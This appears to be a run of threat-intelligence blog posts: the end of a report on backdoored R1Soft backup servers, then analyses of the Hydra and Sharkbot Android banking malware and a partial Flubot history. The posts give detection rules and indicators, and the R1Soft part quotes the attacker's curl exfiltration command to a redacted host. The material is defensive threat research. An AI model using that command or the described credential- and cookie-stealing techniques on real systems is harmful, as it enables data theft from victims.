Based on the overlapping variable names and functions, we concluded that this driver contains the Java code from the Godzilla web shell [7] [8]. 

As described in the “Indicators of successful exploitation” the JAR is automatically generated. Interestingly the public Proof-of-Concept exploit released 10 days later [4] also generates a JAR file during the exploitation instead of using a static JAR file. 

We have published a decompiled version of the malicious Driver.class backdoor here

NOTE: To prevent abuse we have redacted the password that is required to interact with the backdoor. 

Backdoor statistics 

Using the backdoor URL and its default response, we can determine if a R1Soft server is backdoored.The following graphs show a top 20 breakdown by country as of 3 March 2023:  

As of 3 March 2023, a total of 128 R1Soft servers remain backdoored, the graph above shows the top 20 countries, which make up 123 of those servers.

The graph below shows the total number of backdoored servers we detected on the internet over time, showing a significant decrease since 9 January 2023.

Data exfiltration 

After the adversary gained access, it used curl to upload files from the victim’s network to a server running a version of the SimpleHTTPServerWithUpload.py [9] Python script.  

curl http://[REDACTED]:8000/ -F "file=@/var/tmp/[REDACTED].txt" -v 

This server was only active during ”working hours” of the adversary, meaning the adversary stopped running the script at the end of its operations. Over the course of the compromise, the adversary was able to exfiltrate VPN configuration files, IT administration information and other sensitive documents. 

Detection 

The following Snort/Suricata rules were created to monitor the network indicators that are present when some of the adversary tools are being used. Please note that the SimpleHttpServerWithUpload is a publicly available script and is thus not a guarantee that this same adversary is present in the network. 

	# Detection for Godzilla webshell variant and SimpleHTTPServerWithUpload
	alert tcp any any -> any any (msg:"FOX-SRT – Suspicious – Python SimpleHTTPServerWithUpload Observed"; flow:established, from_server; content:"Server: SimpleHTTPWithUpload/"; http_header; threshold: type limit, track by_dst, count 1, seconds 600; classtype:bad-unknown; metadata:created_at 2023-01-06; priority:2; sid:21004337; rev:1;)
	alert tcp any any -> any any (msg:"FOX-SRT – IOC – Godzilla Variant ZK Web Shell Request Observed"; flow:established, to_server; content:"/zkau/jquery"; http_uri; threshold:type limit, track by_dst, count 1, seconds 600; flowbits:set, fox.zkau.webshell; classtype:trojan-activity; metadata:created_at 2023-01-09; priority:3; sid:21004344; rev:1;)
	alert tcp any any -> any any (msg:"FOX-SRT – Webshell – Godzilla Variant ZK Web Shell Response Observed"; flow:established, from_server; flowbits:isset, fox.zkau.webshell; content:"200"; http_stat_code; threshold:type limit, track by_src, count 1, seconds 600; classtype:trojan-activity; metadata:created_at 2023-01-09; priority:1; sid:21004345; rev:1;)

view raw godzilla_and_simplehttpserverwithupload.rules hosted with ❤ by GitHub

Apart from the adversary specific rules we’ve also created detection coverage for the original vulnerability that is being exploited in the ZK Framework that led to the RCE vulnerability in the R1Soft server software. These signatures can be useful to detect successful exploitation in other products that are using a vulnerable version of the ZK Framework: 

	# Detection for the exploitation of CVE-2022-36537 (ZK Java Framework)
	alert tcp any any -> any any (msg:"FOX-SRT – Flowbit – CVE-2022-36537 Exploitation Attempt Observed"; flow:established, to_server; content:"POST"; http_method; content:"/zkau/upload"; http_uri; fast_pattern; content:"uuid="; http_uri; content:"sid="; http_uri; content:"dtid="; http_uri; content:"nextURI="; flowbits:set, fox.cve.2022-36537; threshold:type limit, track by_src, count 1, seconds 3600; classtype:web-application-attack; metadata:CVE 2022-36537; metadata:created_at 2023-01-13; priority:3; sid:21004354; rev:1;)
	alert tcp any any -> any any (msg:"FOX-SRT – Exploit – CVE-2022-36537 Possible Successful Exploitation Observed"; flow:established, from_server; flowbits:isset, fox.cve.2022-36537; content:"200"; http_stat_code; content:!"<title>Upload Result</title>"; threshold:type limit, track by_dst, count 1, seconds 3600; classtype:web-application-attack; metadata:CVE 2022-36537; metadata:created_at 2023-01-13; priority:1; sid:21004355; rev:1;)

view raw cve-2022-36537.rules hosted with ❤ by GitHub

Indicators of Compromise (IOCs) 

Type	Value	Description
ipv4	5.8.33[.]147	Observed: 2022-12-05 – IP address used for exploitation of R1Soft SBM
ipv4	45.61.139[.]187	Observed: 2022-12-09 – IP address used for exploitation of R1Soft SBM
ipv4	45.159.248[.]213	Observed: 2022-11-29 – IP address used for exploitation of R1Soft SBM
ipv4	77.91.101[.]140	Observed: 2022-11-29 – IP address used for exploitation of R1Soft SBM
ipv4	142.11.195[.]29	Observed: 2022-12-11 – IP address used for exploitation of R1Soft SBM

MITRE 

Tactic	Id	Description
Initial Access (TA0001)	T1190	Exploit Public Facing Application
Execution (TA0002)	T1059.004	Command and Scripting Interpreter: Unix Shell
Execution (TA0002)	T1072	Software Deployment Tools
Persistence (TA0003)	T1505.003	Server Software Components: Web Shell
Defense Evasion (TA0005)	T1211	Exploitation for Defense Evasion
Defense Evasion (TA0005)	T1036.005	Masquerading: Match Legitimate Name or Location
Defense Evasion (TA0005)	T1620	Reflective Code Loading
Exfiltration (TA0010)	T1048.003	Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol
Command and Control (TA0011)	T1573.001	Encrypted Channel: Symmetric Cryptography

Timeline 

• 2022-05-22: Authentication bypass vulnerability reported in ZK Java Framework [2] 
• 2022-08-26: Vulnerability officially assigned CVE-2022-36537 [1] 
• 2022-10-31: Huntress discloses RCE in ConnectWise/R1Soft Server Backup Manager [3] 
• 2022-11-29: Date of exploitation and backdooring of a R1Soft Server Backup Manager observed by Fox-IT 
• 2022-12-09: Proof-of-Concept to exploit R1Soft Server Backup Manager started to appear on the Internet [4] [5] [6] 
• 2023-01-12: Fox-IT informs Dutch NCSC of mass exploitation and backdooring of R1Soft Server Backup Manager servers to coordinate the sharing of this knowledge towards the relevant national CERTs 
• 2023-02-22: Release of this blog post 
• 2023-03-03: Release of updated blog post

More info

This threat is still under active research. If enough new data comes in a follow-up blog will be considered. If you have any questions or need assistance based on these findings, please reach out to Fox-IT. Contact us via [email protected]. If urgent please call 08003692378 (Netherlands) or +31152847999 (rest of world) to be connected to one of our incident responders.

References 

[1] https://nvd.nist.gov/vuln/detail/CVE-2022-36537  
[2] https://tracker.zkoss.org/browse/ZK-5150 
[3] https://www.huntress.com/blog/critical-vulnerability-disclosure-connectwise/r1soft-server-backup-manager-remote-code-execution-supply-chain-risks 
[4] https://github.com/numencyber/Vulnerability_PoC/tree/main/CVE-2022-36537  
[5] https://github.com/Malwareman007/CVE-2022-36537/  
[6] https://medium.com/numen-cyber-labs/cve-2022-36537-vulnerability-technical-analysis-with-exp-667401766746  
[7] https://github.com/whwlsfb/cve-2022-22947-godzilla-memshell/blob/main/GMemShell.java
[8] https://github.com/H4ckForJob/kingkong#analysis  
[9] https://gist.github.com/UniIsland/3346170  
 

This publication is part of our Annual Threat Monitor report that was released on the 8th of Febuary 2023. The Annual threat Monitor report can be found here.

Authored by Alberto Segura

Introduction

Hydra, also known as BianLian, has been one of the most active mobile banking malware families in 2022, alongside Sharkbot and Flubot (until Flubot was taken down by Law Enforcement at the end of May 2022).

The features implemented in this banking malware are present in most of the banking malware families: injections/overlays, keylogging (listening to Accessibility events) and, since June 2022, Hydra has even introduced a cookie-stealing feature which targeted several banking entities in Spain.

It is interesting to see that lately different banking malware families are introducing the possibility to steal cookies. This could originate from cybercriminals being more eager to rent banking malware with this capability, hence giving the malware author more revenue when implemented.

During our research, we found that an important number of the command-and-control (C2) servers are located in the Netherlands. This is an interesting pattern, especially since threat actors (TAs) active in mobile malware have been frequently hosting their infrastructure in Russia and China.

Credential-stealing Features

Hydra is an Android banking malware whose main goal is stealing credentials, so TAs can access those accounts and monetize them directly or indirectly by selling them to third parties. Hydra steals credentials using the following two strategies:

• Overlays/Injections, at the beginning of the infection, it sends a few requests to the C2 server, and receives a list of targeted applications and a URL that points to a ZIP file which contains the corresponding injections. The targets consist mostly of banks and cryptocurrency wallets. Hydra saves these injections locally and shows them as soon as it detects a user opening a banking application. That way, the victim thinks it is the official application that requests credentials or credit card information.
  

When the injection is shown and the victim enters his credentials, the malware uses JavaScript’s “Console.Log” function to send the credentials to the native Java code of the application. This function is reimplemented by the malware to send credentials to the C2 server, which is shown in the figure below.

• Keylogging,Hydra abuses the Accessibility permissions to set up an Accessibility service that receives every Accessibility event happening on the infected device. This way the malware receives change events for TextFields (to steal usernames and passwords) and button clicks.

In order to complement the credential-stealing features, Hydra includes a screencast component that sends screenshots to the C2 server and receives commands used to simulate Accessibility events (click buttons, enter text in TextFields, etc.). This way the TAs can manipulate the target application on the victim’s device to monetize the account associated with that application. This is a good way to bypass antifraud security measures focused on checking IP addresses or devices that log in to the accounts or make transfers.

Besides credential-stealing features, Hydra implements features to steal other information from the infected device. Especially information required for successful account takeovers and monetization of accounts, such as received SMS messages for OTP codes, a list of installed applications, or the unlock code of the device which can be used to unlock the device and start the screencast feature.

Apart from the previously mentioned features, Hydra developers introduced a new and interesting feature around June 2022: stealing cookies. With this new feature, the malware can steal cookies from sessions linked to bank accounts of victims, avoiding the need of credentials when logging in.

New features: Stealing Cookies

Around June 2022 we found new samples introducing this new feature used to steal cookies from sessions after the victims log in to their accounts. Since the beginning until now, there are not that many targeted banks or other applications targeted by this feature, but the list has been increasing in the past months.

It started targeting a few applications – Google Mail and BBVA Spain -, as we can see in the following image:

But after some months, TAs included two more targets – Facebook and Davivienda – to steal credentials:

As we can see in the previous pictures of the decompiled code, to implement this feature, TAs include the package name of the targeted applications alongside the URLs to the mobile login website. This way, a WebView can show the victim the official login page and, after the victim successfully logs in to his account, the cookies of the loaded website in the WebView are forwarded to the C2 server.

It is interesting that TAs include the list of targeted applications by the cookie-stealing feature hardcoded in each sample, while the list of targets for injections is retrieved from the C2 server. Since it is a new feature, it is probably in a test phase, and after some time TAs could start retrieving the list of cookie-stealer targets from the C2 server instead of hardcoding the list in the malware.

Hydra Variants

We found that Hydra has different variants with small changes between them. The principal features are present in all of them, but they include different information about the C2 server. Hydra can be categorized in three variants based on how it includes the C2 server information:

• Using Tor, this variant includes a Tor (.onion) URL to the endpoint ‘/api/mirrors’. As response, it will receive a Base64-encoded JSON with the list of C2 servers to use. This variant includes code to download Tor native libraries in order to connect to this ‘backup C2’ using the Tor network.

• Using GitHub, this variant includes a GitHub repository file containing a Base64-encoded JSON object with the list of C2 servers. This is almost equivalent to the Tor variant, but it uses GitHub instead of using the Tor network – it does not include code to download and run Tor native libraries.

• Hardcoded C2 server, this variant includes the C2 server in the binary itself and eventually sends a request to the path ‘/api/mirrors’ in order to get a new list of C2 servers that it can use in the future if the hardcoded one goes down.

C2 Server Analysis

During our Hydra research, we have been collecting an important number of C2 servers used in different samples. From all those servers, we found that some countries are preferred over others in terms of hosting.

This usually happens with Russia or China, which are the preferred countries to host C2 servers by TAs, but surprisingly, Hydra’s TAs are using other countries such as the Netherlands (73), United States (42) and Ukraine (29). In this case, we observed only 19 servers hosted in Russia and none in China.

In the following picture we can see a world map with the different countries hosting Hydra’s C2 servers. The color intensity increases with the increase in amount of servers.

Besides the different Hydra variants used for each sample, we found that different C2 servers are configured with a different target list. This is normal, since this malware is rented out by its developers, so each TA has different interests in what banks or applications to target. Even though most of the servers seem to use a default list of targets – probably all the supported banks/apps -, there are certain servers with a smaller list of targets, usually focused on banks or applications used in specific countries or languages – such as LATAM and Spanish banks.

Even though some servers use a different configuration – different list of targeted apps -, most of the servers use the same list. This could mean that Hydra developers ship their malware with a default list of targets or that attackers use a default list of targets themselves.

Network Detection

The behavior displayed by Hydra can be detected using network detection. The following Suricata rules were tested successfully against Hydra network traffic:

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"FOX-SRT - Trojan - Hydra Mobile Malware Configuration Observed (injects)"; flow:established,to_client; content:"|22|injects_loaded|22|:"; http_server_body; fast_pattern; threshold:type limit,track by_dst,count 1,seconds 600; reference:url,https://blog.fox-it.com/2023/02/15/threat-spotlight-hydra/; metadata:ids suricata; metadata:created_at 2023-02-15; classtype:trojan-activity; sid:21004395; rev:1;)

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"FOX-SRT - Trojan - Hydra Mobile Malware Configuration Observed (keylogger)"; flow:established,to_client; content:"|22|enable_keylogger|22|:"; http_server_body; fast_pattern; threshold:type limit,track by_dst,count 1,seconds 600; reference:url,https://blog.fox-it.com/2023/02/15/threat-spotlight-hydra/; metadata:ids suricata; metadata:created_at 2023-02-15; classtype:trojan-activity; sid:21004396; rev:1;)

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"FOX-SRT - Trojan - Possible Hydra Mobile Malware POST Observed"; flow:established,to_server; content:"POST"; http_method; content:"AndroidBot -> "; http_client_body; depth:64; fast_pattern; threshold:type limit,track by_src,count 1,seconds 600; reference:url,https://blog.fox-it.com/2023/02/15/threat-spotlight-hydra/; metadata:ids suricata; metadata:created_at 2023-02-15; classtype:trojan-activity; sid:21004397; rev:1;)

These rules are compatible with Suricata 4 and later.

Conclusion

Hydra has been one of the most active banking malware families for Android in 2022, alongside other notorious families such as Flubot, Sharkbot and Teabot. This banker is rented out through underground forums, and TAs that rent the malware configure the list of targeted applications based on their needs. However, most of target lists we observed in Hydra samples are equivalent, hinting at a default configuration.

Typical features to steal credentials are implemented in this family: injections/overlays, keylogging and, from around June 2022, the developers also started to include cookies-stealing features to the rented samples. All these features make Hydra one of the more interesting banking malware families to rent for TAs. This can explain why we observed a lot of samples of Hydra every day, many sharing the same C2 server.

Even if the credential-stealing features and the rest of the code is the same for all the samples we detected, we found there are differences in the way the C2 servers are included in various samples. For this reason, we distinguish three different variants based on how the C2 server is included: an Onion service, a GitHub repository with the list of C2 servers and, finally, just a URL to the C2 server it should use.

During our research we also found that TAs are frequently hosting their C2s in the same countries, such as the Netherlands, United States and Ukraine, instead of hosting them in Russia or China, as usual. Additionally, most of the servers have enabled all the supported injections, instead of enabling only those applications which are more interesting to the TA depending on, for example, the country of the bank.

We expect this family to be one of the most active mobile banking malware in the upcoming months, with its developers implementing new and interesting features.

Authored by Alberto Segura (main author) and Mike Stokkel (co-author)

Introduction

After we discovered in February 2022 the SharkBotDropper in Google Play posing as a fake Android antivirus and cleaner, now we have detected a new version of this dropper active in the Google Play and dropping a new version of Sharkbot.
This new dropper doesn’t rely Accessibility permissions to automatically perform the installation of the dropper Sharkbot malware. Instead, this new version ask the victim to install the malware as a fake update for the antivirus to stay protected against threats.
We have found two SharkbotDopper apps active in Google Play Store, with 10K and 50K installs each of them.

The Google Play droppers are downloading the full featured Sharkbot V2, discovered some time ago by ThreatFabric. On the 16th of August 2022, Fox-IT’s Threat Intelligence team observed new command-and-control servers (C2s), that were providing a list of targets including banks outside of United Kingdom and Italy. The new targeted countries in those C2s were: Spain, Australia, Poland, Germany, United States of America and Austria.

On the 22nd of August 2022, Fox-IT’s Threat Intelligence team found a new Sharkbot sample with version 2.25; communicating with command-and-control servers mentioned previously. This Sharkbot version introduced a new feature to steal session cookies from the victims that logs into their bank account.

The new SharkbotDropper in Google Play

In the previous versions of SharkbotDropper, the dropper was abusing accessibility permissions in order to install automatically the dropper malware. To do this, the dropper made a request to its command-and-control server, which provided an URL to download the full featured Sharkbot malware and a list of steps to automatically install the malware, as we can see in the following image.

Abusing the accessibility permissions, the dropper was able to automatically click all the buttons shown in the UI to install Sharkbot. But this not the case in this new version of the dropper for Sharkbot. The dropper instead will make a request to the C2 server to directly receive the APK file of Sharkbot. It won’t receive a download link alongside the steps to install the malware using the ‘Automatic Transfer Systems’ (ATS) features, which it normally did.

In order to make this request, the dropper uses the following code, in which it prepares the POST request body with a JSON object containing information about the infection. The body of the request is encrypted using RC4 and a hard coded key.

In order to complete the installation on the infected device, the dropper will ask the user to install this APK as an update for the fake antivirus. Which results in the malware starting an Android Intent to install the fake update.

This way, the new version of the Sharkbot dropper is now installing the payload in a non automatic way, which makes it more difficult to get installed – since it depends on the user interaction to be installed -, but it is now more difficult to detect before being published in Google Play Store, since it doesn’t need the accessibility permissions which are always suspicious.
Besides this, the dropper has also removed the ‘Direct Reply’ feature, used to automatically reply to the received notifications on the infected device. This is another feature which needs suspicious permissions, and which once removed makes it more difficult to detect.

To make detection of the dropper by Google’s review team even harder, the malware contains a basic configuration hard coded and encrypted using RC4, as we can see in the following image.

The decrypted configuration, as we can see in the following image, contains the list of targeted applications, the C2 domain and the countries targeted by the campaign (in this example UK and Italy).

If we look carefully at the code used to check the installed apps against the targeted apps, we can realize that it first makes another check in the first lines:

String lowerCase = ((TelephonyManager) App.f7282a.getSystemService("phone")).getSimCountryIso().toLowerCase();
    if (!lowerCase.isEmpty() && this.f.getString(0).contains(lowerCase)) 

Besides having at least one of the targeted apps installed in the device, the SharkbotDropper is checking if the SIM provider’s country code is one of the ones included in the configuration – in this campaign it must be GB or IT. If it matches and the device has installed any of the targeted apps, then the dropper can request the full malware download from the C2 server. This way, it is much more difficult to check if the app is dropping something malicious. But this is not the only way to make sure only targeted users are infected, the app published in Google Play is only available to install in United Kingdom and Italy.

After the dropper installs the actual Sharkbot v2 malware, it’s time for the malware to ask for accessibility permissions to start stealing victim’s information.

Sharkbot 2.25-2.26: New features to steal cookies

The Sharkbot malware keeps the usual information stealing features we introduced in our first post about Sharkbot:

• Injections (overlay attacks): this feature allows Sharkbot to steal credentials by showing a fake website (phishing) inside a WebView. It is shown as soon as the malware detects one of the banking application has been opened.

• Keylogging: this feature allows Sharkbot to receive every accessibility event produced in the infected device, this way, it can log events such as button clicks, changes in TextFields, etc, and finally send them to the C2.

• SMS intercept: this feature allows Sharkbot to receive every text message received in the device, and send it to the C2.

• Remote control/ATS: this feature allows Sharkbot to simulate accessibility events such as button clicks, physical button presses, TextField changes, etc. It is used to automatically make financial transactions using the victim’s device, this way the threat actors don’t need to log in to the stolen bank account, bypassing a lot of the security measures.

Those features were present in Sharkbot 1, but also in Sharkbot 2, which didn’t change too much related to the implemented features to steal information. As ThreatFabric pointed out in their tweet, Sharkbot 2, which was detected in May 2022, is a code refactor of the malware and introduces a few changes related to the C2 Domain Generation Algorithm (DGA) and the protocol used to communicate with the server.
Version 2 introduced a new DGA, with new TLDs and new code, since it now uses MD5 to generate the domain name instead of Base64.

We have not observed any big changes until version 2.25, in which the developers of Sharkbot have introduced a new and interesting feature: Cookie Stealing or Cookie logger. This new feature allows Sharkbot to receive an URL and an User-Agent value – using a new command ‘logsCookie’ -, these will be used to open a WebView loading this URL – using the received User-Agent as header – as we can see in the following images of the code.

Once the victim logged in to his bank account, the malware will receive the PageFinished event and will get the cookies of the website loaded inside the malicious WebView, to finally send them to the C2.

New campaigns in new countries

During our research, we observed that the newer C2 servers are providing new targeted applications in Sharkbot’s configuration. The list of targeted countries has grown including Spain, Australia, Poland, Germany, United States of America and Austria. But the interesting thing is the new targeted applications are not targeted using the typical webinjections, instead, they are targeted using the keylogging – grabber – features. This way, the malware is stealing information from the text showed inside the official app. As we can see in the following image, the focus seems to be getting the account balance and, in some cases, the password, by reading the content of specific TextFields.

Also, for some of the targeted applications, the malware is providing within the configuration a list of ATS configurations used to avoid the log in based on fingerprint, which should allow to show the usual username and password form. This allows the malware to steal the credentials using the previously mentioned ‘keylogging’ features, since log in via fingerprint should ask for credentials.

Conclusion

Since we published our first blog post about Sharkbot in March 2022, in which we detected the SharkbotDropper campaigns within Google Play Store, the developers have been working hard to improve their malware and the dropper. In May, ThreatFabric found a new version of Sharkbot, the version 2.0 of Sharkbot that was a refactor of the source code, included some changes in the communication protocol and in the DGA.

Until now, Sharkbot’s developers seem to have been focusing on the dropper in order to keep using Google Play Store to distribute their malware in the latest campaigns. These latest campaigns still use fake antivirus and Android cleaners to install the dropper from the Google Play.

With all these the changes and new features, we are expecting to see more campaigns, targeted applications, targeted countries and changes in Sharkbot this year.

Indicators of compromise

SharkbotDropper samples published in Google Play:

• hxxps://play.google[.]com/store/apps/details?id=com.kylhavy.antivirus
• hxxps://play.google[.]com/store/apps/details?id=com.mbkristine8.cleanmaster

Dropper Command-and-control (C2):

• hxxp://mefika[.]me/

Sharkbot 2.25 (introducing new Cookie stealing features):

• Hash: 7f2248f5de8a74b3d1c48be0db574b1c6558d6edae347592b29dc5234337a5ff
• C2: hxxp://browntrawler[.]store/ (185.212.47[.]113)

Sharkbot v2.26 sample:

• Hash: 870747141b1a2afcd76b4c6482ce0c3c21480ae3700d9cb9dd318aed0f963c58
• C2: hxxp://browntrawler[.]store/ (185.212.47[.]113)

DGA Active C2s:

• 23080420d0d93913[.]live (185.212.47[.]113)
• 7f3e61be7bb7363d[.]live (185.212.47[.]113)

Authored by Alberto Segura (main author) and Rolf Govers (co-author)

Summary

Flubot is an Android based malware that has been distributed in the past 1.5 years in
Europe, Asia and Oceania affecting thousands of devices of mostly unsuspecting victims.
Like the majority of Android banking malware, Flubot abuses Accessibility Permissions and Services
in order to steal the victim’s credentials, by detecting when the official banking application
is open to show a fake web injection, a phishing website similar to the login form of the banking
application. An important part of the popularity of Flubot is due to the distribution
strategy used in its campaigns, since it has been using the infected devices to send
text messages, luring new victims into installing the malware from a fake website.
In this article we detail its development over time and recent developments regarding
its disappearance, including new features and distribution campaigns.

Introduction

One of the most popular active Android banking malware families today. An “inspiration” for developers of other Android banking malware families. Of course we are talking about Flubot. Never heard of it? Let us give you a quick summary.

Flubot banking malware families are in the wild since at least the period between late 2020 and the first quarter of 2022. Most of its popularity comes from its distribution method: smishing. Threat Actors (TA) have been using the infected devices to send text messages to other phone numbers, stolen from other infected devices and stored in Command-and-Control servers (C2).

In the initial campaigns, TAs used fake Fedex, DHL and Correos – a local Spanish parcel shipping company – SMS messages. Those SMS messages were fake notifications which lured the user into a fake website in order to download a mobile application to track the shipping. These campaigns were very successful, since nowadays most people are used to buy different kinds of products online and receive that type of messages to track the shipping of the product.
Flubot is not only a very active family: TAs have been very actively introducing new features, support for campaigns in new countries and improving the features it already had.

On June 1, 2022, Europol announced the takedown of Flubot in a joint operation including 11 countries. The Dutch Police played a key part in this operation and successfully disrupted the infrastructure in May 2022, rendering this strain of malware inactive. That was interesting period of time to look back at the early days of Flubot, how it evolved and became so notorious.

In this post we want to share all we know about this threat and a timeline of the most relevant and interesting (new) features and changes that Flubot’s TAs have introduced. We will focus on these features and changes related to the detected samples but also in the different campaigns that TAs have been using to distribute this malware.

The beginning: A new Android Banking Malware targeting Spain [Flubot versions 0.1-3.3]

Based on reports from other researchers, Flubot samples were first found in the wild between November and December of 2020. Public information about this malware was first published on 6 January 2021 by our partner ThreatFabric (https://twitter.com/ThreatFabric/status/1346807891152560131). Even though ThreatFabric was the first to publish public information on this new family and called it “Cabassous”, the research community has been more commonly referring to this malware as Flubot.

In the initial campaigns, Flubot was distributed using Fedex and Correos fake SMS messages. In those messages, the user was led to a fake website which was basically a “landing page” style website to download what was supposed to be an Android application to track the incoming shipping.

In this initial campaign versions prior to Flubot 3.4 were used, and TAs were including support for new campaigns in other countries using specific samples for each country. The reasons why there were different samples for different countries were:
– Domain Generation Algorithm (DGA). It was using a different seed to generate 5.000 different domains per month. Just out of curiosity: For Germany, TAs were using 1945 as seed for the DGA.
– Phone country code used to send more distribution smishing SMS messages from infected devices and block those numbers in order to avoid communication among victims.

There were no significant changes related to features in the initial versions (from 0.1 to 3.3). TAs were mostly focused on the distribution campaigns, trying to infect as many devices as possible.

There is one important change in the initial versions, but it is difficult to find the exact version in which this change was first introduced because there are some version without samples on public repositories. TAs introduced web injections to steal credentials, the most popular tactic to steal credentials on Android devices. This was introduced starting between versions 0.1 and 0.5, in December 2020.

In those initial versions, TAs increased the version number of the malware in just a few days without adding significant changes. Most of the samples – particularly previous to 2.1 – were not uploaded to public malware repositories, making it even harder to track the first versions of Flubot.

On these initial versions (after 0.5), TAs also introduced other not so popular features like the “USSD” one which was used to call to special numbers to earn money (“RUN_USSD” command), it was introduced at some point between versions 1.2 and 1.7. In fact, it seems this feature wasn’t really used by Flubot’s TAs. Most used features were the web injections to steal banking and cryptocurrency platform credentials and sending SMS features to distribute and infect new devices.

From version 2.1 to 2.8 we observed TAs started to use a different packer for the actual Flubot’s payload. It could explain why we weren’t able to find samples on public repositories between 2.1 and 2.8, probably there were some “internal” versions
used to try different packers and/or make it work with the new one.

March 2021: New countries and improvements on distribution campaigns [Flubot versions 3.4-3.7]

After a few months apparently focused on distribution campaigns and not really on new features for the malware itself, we have found version 3.4 in which TAs introduced some changes on the DGA code. In this version, they reduced the number of generated domains from 5.000 to 2.500 a month. At first sight this looks like a minor change, but is one of the first changes to start distributing the malware in different countries in a more easy way for TAs, since a different sample with different parameters was used for each country.

In fact, we can see a new version (3.6) customized for targeting victims in Germany in March 18, 2021. Only five days later, another version was released (3.7), with interesting changes. TAs were trying to use the same sample for campaigns in Spain and Germany, including Spanish and German phone country codes split by newline character to block
the phone number to which the infected device is sending smishing messages.

At the same time, TAs introduced a new campaign on Hungary. By the end of March, TAs introduced a new change on version 3.7: an important change in their DGA, since they replaced “.com” TLD with “.su”. This change was important for tracking Flubot, since now TAs could use this new TLD to register new C2’s domains.

April 2021: DoH and unique samples for all campaigns [Flubot versions 3.9-4.0]

It seems TAs were working since late March on a new version: Flubot 3.9. In this new version, they introduced DNS-over-HTTPs (DoH). This new feature was used to resolve domain names generated by the DGA. This way, it was more difficult to detect infected devices in the network, since security solutions were not able to check
which domains were being resolved.

In the following images we show decompiled code of this new version, including the new DoH code. TAs kept the old classic DNS resolving code. TAs introduced code to randomly choose if DoH or classic DNS should be used.

The introduction of DoH was not the only feature that was added to Flubot 3.9. TAs also added some UI messages to prepare future campaigns targeting Italy.
Those messages were used a few days later in the new Flubot 4.0 version, in which TAs finally started to use one single sample for all of the campaigns – no more unique samples to targeted different countries.

With this new version, the targeted country’s parameters used on previous version of Flubot were chosen depending on the victim’s device language. This way, if the device language was Spanish, then Spanish parameters were used. The following parameters were chosen:
– DGA seed
– Phone country codes used for smishing and phone number blocking

May 2021: Time for infrastructure and C2 server improvements [Flubot versions 4.1-4.3]

May starts with a minor update on version 4.0 – a change the DoH servers used to resolve DGA domains. Now instead of using CloudFlare’s servers they started using Google’s servers. This was the first step to move to a new version, Flubot 4.1.
In this new version, TAs have changed one more time the DoH servers used to resolve the C2 domains. In this case, they introduced three different services or DNS servers: Google, CloudFlare and AliDNS. The last one was used for the first time in the life of Flubot to resolve the DGA domains.

Those three different DoH services or servers were chosen randomly to resolve the generated domains, to finally make the requests to any of the active C2 servers.
These changes also brought a new campaign in Belgium, in which TAs used fake BPost app and smishing messages to lure new victims. One week later, new campaigns in Turkey were also introduced, this time in a new Flubot version with important changes related to its C2 protocol.

The first samples of Flubot 4.2 appeared on 17 May 2021 with a few important changes in the code used to communicate with the C2 servers. In this version, the malware was sending HTTP requests with a new path in the C2: “p.php”, instead of the classic “poll.php” path.

At first sight it seemed like a minor change, but paying attention to the code we realized there was an important reason behind this change: TAs changed the encryption method used for the protocol to communicate with the C2 servers.
Previous versions of Flubot were using simple XOR encryption to encrypt the information exchanged with the C2 servers, but this new version 4.2 was using
RC4 encryption to encrypt that information instead of the classic XOR. This way, the C2 server still supported old versions and new version at the same time:

• poll.php and poll2.php were used to send/receive requests using the old XOR encryption
• p.php was used to send and receive requests using the new RC4 encryption

Besides the new protocol encryption on version 4.2, TAs also added at the end of May support for new campaigns in Romania.
Finally, on 28 May 2021 new samples of Flubot 4.3 were discovered with minor changes, mainly focused on the strings obfuscation implemented by the malware.

June 2021: VoiceMail. New campaign new countries [Flubot versions 4.4-4.6]

A few days after first samples of Flubot 4.3 were discovered – on May 31, 2021 and June 1, 2021 – new samples of Flubot were observed with version number bumped to 4.4.
One more time, no major changes in this new version. TAs added support for campaigns in Portugal. As we can see with versions 4.3 and 4.4, it was common for Flubot’s TAs to bump the version number in just a few days, with just minor changes. Some versions were not even found in public repositories (e.g. version 3.3), which suggests that some versions were never used in public or just skipped and TAs just bumped the version. Maybe those “lost versions” lasted just a few hours in the distribution servers and were quickly updated to fix bugs.

In the month of June the TAs hardly made any changes related to features, but instead they were working on new distribution campaigns.
On version 4.5, TAs added Slovakia, Czech Republic, Greece and Bulgaria to the list of supported countries for future campaigns. TAs reused the same DGA seed for all of them, so it didn’t require too much work from their part to get this version released.

A few days after version 4.5 was observed, a new version 4.6 was discovered with new countries added for future campaigns: Austria and Switzerland. Also, some countries that were removed in previous versions were reintroduced: Sweden, Poland, Hungary, and The Netherlands.

This new version of Flubot didn’t come only with more country coverage. TAs introduced a new distribution campaign lure: VoiceMail. In this new “VoiceMail” campaign, infected devices were used to send text messages to new potential victims using messages in which the user was lead to a fake website. This time a “VoiceMail” app was installed, which should allow the user to listen to the received Voice mail messages. In the following image we can see the VoiceMail campaign for Spanish users.

July 2021: TAs Holidays [Flubot versions 4.7]

July 2021 is the month with less activity. In this month, only one version update was observed at the very beginning of the month – Flubot 4.7. This new version came without the usage of different DGA seeds by country or device language. TAs started to randomly choose the seed from a list of seeds, which were the same seeds that were previously used for country or device language.

Besides the changes related to the DGA seeds, TAs also introduced support for campaigns in new countries: Serbia, Croatia and Bosnia and Herzegovina.

There was almost no Flubot activity in summer. Our assumption is the developers were busy with their summer holidays. As we will see in the following section, TAs will recover their activity in August and October.

August-September 2021: Slow come back from Holidays [Flubot versions 4.7-4.9]

During the first days of August, after TAs possibly enjoyed a nice holiday season, Australia was added to version 4.7 in order to start distribution campaigns in that country.
Only a week later, TAs released the new version 4.8, in which we found some minor changes mostly related to UI messages and alert dialogs.

One more version bump for Flubot was discovered on September, when version 4.9 came out with some more minor changes, just like the previous version 4.8. This time, new web injections were introduced in the C2 servers to steal credentials from victims. Those two new versions with minor changes (not very relevant) seems like a relaxed come back to activity. From our point of view, the most interesting thing that happened in those two months is that TAs started to distribute another malware family using the Flubot botnet. We received from C2 servers a few smishing tasks in which the fake “VoiceMail” website was serving Teabot (also known as Anatsa and Toddler) instead of Flubot.

That was very interesting because it showed that Flubot’s TAs could be also associated with this malware family or at least could be interested on selling the botnet for smishing purposes to other malware developers. As we will see, that was not the only family distributed by Flubot.

October-November 2021: ‘Android Security Update’ campaign and new big protocol changes [Flubot versions 4.9]

During October and most part of November, Flubot’s TAs didn’t bump the version number of the malware and they didn’t do very important moves during that period of time.

